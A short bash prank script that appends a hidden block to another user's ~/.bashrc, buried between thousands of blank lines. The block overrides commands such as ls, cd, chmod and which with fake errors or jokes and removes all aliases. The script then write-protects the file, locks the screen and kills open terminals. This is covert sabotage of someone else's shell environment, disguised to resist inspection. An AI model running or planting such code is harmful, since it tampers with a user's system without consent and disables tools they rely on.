#!/bin/bash

function spaces() {
  yes '' | head -n3000 >> ~/.bashrc
}

spaces

cat >>~/.bashrc << EOF
unalias -a &> /dev/null
unalias -m "*" &> /dev/null

alias vim='vi'
alias emacs='vi'
alias epi3lock='epi3lock -c ff0000'
alias zsh='bash'
alias sh='bash'
alias cd='sl'
alias() { display 'http://impawards.com/tv/posters/alias_ver2.jpg'; }
ls() { echo Segmentation fault...; }
unalias() { echo Segmentation fault...; }
chmod() { true; }
env() { false; }
whence() { echo "what ? "; }
which() { echo "who ?"; }
whoami() { echo "I am the Alpha and the Omega, the First and the Last, the Beginning and the End."; }
command() { eval "$@"; }
EOF

spaces

cat >>~/.bashrc << EOF
EOF

chmod -w ~/.bashrc
command epi3lock
killall -9 xterm urxvt xfce-term